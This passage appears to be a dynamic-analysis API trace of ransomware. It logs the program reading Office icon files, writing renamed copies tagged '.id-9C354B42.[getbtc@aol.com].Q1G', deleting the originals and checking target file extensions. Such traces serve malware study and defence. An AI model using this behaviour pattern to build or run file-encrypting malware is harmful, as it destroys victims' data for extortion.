1 [0265.332] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0265.332] lstrlenW (lpString="MANUAL.ICO") returned 10 [0265.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.333] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=318) returned 1 [0265.333] CloseHandle (hObject=0x3c4) returned 1 [0265.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico")) returned 0x20 [0265.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.333] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.334] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.334] GetLastError () returned 0x0 [0265.334] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x13e, lpOverlapped=0x0) returned 1 [0265.335] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x140, lpOverlapped=0x0) returned 1 [0265.336] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.336] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0265.336] SetEndOfFile (hFile=0x37c) returned 1 [0265.336] CloseHandle (hObject=0x37c) returned 1 [0265.336] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.336] SetEndOfFile (hFile=0x3c4) returned 1 [0265.339] CloseHandle (hObject=0x3c4) returned 1 [0265.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico")) returned 1 [0265.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.340] lstrlenW (lpString=".doc") returned 4 [0265.340] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.340] lstrlenW (lpString=".docx") returned 5 [0265.340] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0265.340] lstrlenW (lpString=".pdf") returned 4 [0265.340] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.340] lstrlenW (lpString=".xls") returned 4 [0265.340] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.340] lstrlenW (lpString=".xlsx") returned 5 [0265.340] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0265.340] lstrlenW (lpString=".ppt") returned 4 [0265.340] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.340] lstrlenW (lpString=".zip") returned 4 [0265.340] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.340] lstrlenW (lpString=".rar") returned 4 [0265.340] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.340] lstrlenW (lpString=".bz2") returned 4 [0265.340] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.340] lstrlenW (lpString=".7z") returned 3 [0265.340] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.340] lstrlenW (lpString=".dbf") returned 4 [0265.340] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.340] lstrlenW (lpString=".1cd") returned 4 [0265.340] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.341] lstrlenW (lpString=".jpg") returned 4 [0265.341] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.341] lstrlenW (lpString=".doc") returned 4 [0265.341] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.341] lstrlenW (lpString=".docx") returned 5 [0265.341] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0265.341] lstrlenW (lpString=".pdf") returned 4 [0265.341] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.341] lstrlenW (lpString=".xls") returned 4 [0265.341] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.341] lstrlenW (lpString=".xlsx") returned 5 [0265.341] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0265.341] lstrlenW (lpString=".ppt") returned 4 [0265.341] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.341] lstrlenW (lpString=".zip") returned 4 [0265.341] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.341] lstrlenW (lpString=".rar") returned 4 [0265.341] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.341] lstrlenW (lpString=".bz2") returned 4 [0265.341] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.341] lstrlenW (lpString=".7z") returned 3 [0265.341] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.341] lstrlenW (lpString=".dbf") returned 4 [0265.341] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.341] lstrlenW (lpString=".1cd") returned 4 [0265.341] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO") returned 70 [0265.341] lstrlenW (lpString=".jpg") returned 4 [0265.341] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.342] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.342] lstrlenW (lpString="messageboxalert.ico") returned 19 [0265.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.342] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2862) returned 1 [0265.342] CloseHandle (hObject=0x3c4) returned 1 [0265.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico")) returned 0x20 [0265.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.343] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.343] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.344] GetLastError () returned 0x0 [0265.344] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xb2e, lpOverlapped=0x0) returned 1 [0265.356] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0265.358] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.358] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0265.358] SetEndOfFile (hFile=0x37c) returned 1 [0265.358] CloseHandle (hObject=0x37c) returned 1 [0265.358] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.358] SetEndOfFile (hFile=0x3c4) returned 1 [0265.360] CloseHandle (hObject=0x3c4) returned 1 [0265.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico")) returned 1 [0265.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.361] lstrlenW (lpString=".doc") returned 4 [0265.361] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.361] lstrlenW (lpString=".docx") returned 5 [0265.361] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0265.361] lstrlenW (lpString=".pdf") returned 4 [0265.361] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.361] lstrlenW (lpString=".xls") returned 4 [0265.361] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.361] lstrlenW (lpString=".xlsx") returned 5 [0265.361] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0265.361] lstrlenW (lpString=".ppt") returned 4 [0265.361] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.361] lstrlenW (lpString=".zip") returned 4 [0265.361] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.361] lstrlenW (lpString=".rar") returned 4 [0265.361] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.361] lstrlenW (lpString=".bz2") returned 4 [0265.361] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.361] lstrlenW (lpString=".7z") returned 3 [0265.361] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.361] lstrlenW (lpString=".dbf") returned 4 [0265.361] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.361] lstrlenW (lpString=".1cd") returned 4 [0265.362] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.362] lstrlenW (lpString=".jpg") returned 4 [0265.362] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.362] lstrlenW (lpString=".doc") returned 4 [0265.362] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.362] lstrlenW (lpString=".docx") returned 5 [0265.362] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0265.362] lstrlenW (lpString=".pdf") returned 4 [0265.362] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.362] lstrlenW (lpString=".xls") returned 4 [0265.362] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.362] lstrlenW (lpString=".xlsx") returned 5 [0265.362] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0265.362] lstrlenW (lpString=".ppt") returned 4 [0265.362] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.362] lstrlenW (lpString=".zip") returned 4 [0265.362] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.362] lstrlenW (lpString=".rar") returned 4 [0265.362] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.362] lstrlenW (lpString=".bz2") returned 4 [0265.362] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.362] lstrlenW (lpString=".7z") returned 3 [0265.362] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.362] lstrlenW (lpString=".dbf") returned 4 [0265.362] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.362] lstrlenW (lpString=".1cd") returned 4 [0265.362] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico") returned 79 [0265.362] lstrlenW (lpString=".jpg") returned 4 [0265.362] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.363] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.363] lstrlenW (lpString="messageboxerror.ico") returned 19 [0265.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.403] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2862) returned 1 [0265.403] CloseHandle (hObject=0x3a0) returned 1 [0265.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico")) returned 0x20 [0265.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.419] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.419] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.420] GetLastError () returned 0x0 [0265.420] ReadFile (in: hFile=0x3d8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xb2e, lpOverlapped=0x0) returned 1 [0265.422] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0265.423] ReadFile (in: hFile=0x3d8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.423] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0265.423] SetEndOfFile (hFile=0x3a8) returned 1 [0265.423] CloseHandle (hObject=0x3a8) returned 1 [0265.423] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.423] SetEndOfFile (hFile=0x3d8) returned 1 [0265.427] CloseHandle (hObject=0x3d8) returned 1 [0265.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico")) returned 1 [0265.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.428] lstrlenW (lpString=".doc") returned 4 [0265.428] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.428] lstrlenW (lpString=".docx") returned 5 [0265.428] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.428] lstrlenW (lpString=".pdf") returned 4 [0265.428] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.428] lstrlenW (lpString=".xls") returned 4 [0265.428] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.428] lstrlenW (lpString=".xlsx") returned 5 [0265.428] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.428] lstrlenW (lpString=".ppt") returned 4 [0265.428] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.428] lstrlenW (lpString=".zip") returned 4 [0265.428] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.428] lstrlenW (lpString=".rar") returned 4 [0265.428] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.428] lstrlenW (lpString=".bz2") returned 4 [0265.428] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.428] lstrlenW (lpString=".7z") returned 3 [0265.428] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.428] lstrlenW (lpString=".dbf") returned 4 [0265.428] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.428] lstrlenW (lpString=".1cd") returned 4 [0265.428] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.428] lstrlenW (lpString=".jpg") returned 4 [0265.428] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.429] lstrlenW (lpString=".doc") returned 4 [0265.429] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.429] lstrlenW (lpString=".docx") returned 5 [0265.429] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.429] lstrlenW (lpString=".pdf") returned 4 [0265.429] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.429] lstrlenW (lpString=".xls") returned 4 [0265.429] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.429] lstrlenW (lpString=".xlsx") returned 5 [0265.429] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.429] lstrlenW (lpString=".ppt") returned 4 [0265.429] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.429] lstrlenW (lpString=".zip") returned 4 [0265.429] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.429] lstrlenW (lpString=".rar") returned 4 [0265.429] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.429] lstrlenW (lpString=".bz2") returned 4 [0265.429] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.429] lstrlenW (lpString=".7z") returned 3 [0265.429] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.429] lstrlenW (lpString=".dbf") returned 4 [0265.429] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.429] lstrlenW (lpString=".1cd") returned 4 [0265.429] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico") returned 79 [0265.429] lstrlenW (lpString=".jpg") returned 4 [0265.429] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.429] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.429] lstrlenW (lpString="ModifiedTelespace.ico") returned 21 [0265.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 